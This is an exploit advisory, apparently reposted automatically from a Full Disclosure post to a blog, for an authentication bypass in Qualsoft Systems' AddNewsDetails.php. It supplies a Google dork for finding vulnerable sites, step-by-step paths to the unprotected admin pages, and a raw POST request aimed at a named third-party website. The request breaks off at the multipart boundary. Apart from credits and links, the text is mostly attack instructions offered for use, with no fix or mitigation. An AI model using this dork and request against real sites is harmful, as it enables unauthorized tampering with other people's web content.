[FD] Qualsoft Systems - (AddNewsDetails.php) Auth ByPass Vulnerability

#Title : Qualsoft Systems - (AddNewsDetails.php) Auth ByPass Vulnerability #Author : ZoRLu / zorlu@milw00rm.com #Blog : z.milw0rm.info #Twitter : @milw00rm #Test : Windows7 Ultimate #Discovery : 19/11/15 #Publish : 19/11/15 #Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, cxsecurity.com and others #BkiAdam : B3mB4m, Dr.Ly0n, KnocKout, LifeSteaLeR #Dork : intext:Powered by Qualsoft Systems Pvt. Ltd #Other : http://ift.tt/1X1xmhU / Iran Cyber Security Group #demo : http://ift.tt/1SJiwGm firt you go here: localhost/AddNewsDetails.php after you go here: localhost/EditDeleteNews.php and you will see your new entry but no any title or other details POST /AddNewsDetails.php HTTP/1.1 Host: www.dnyanada.net User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 Firefox/42.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr,fr;q=0.8,tr-TR;q=0.6,en-US;q=0.4,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://ift.tt/1X1xmhY Connection: keep-alive Content-Type: multipart/form-data; boundary

Source: Gmail -> IFTTT-> Blogger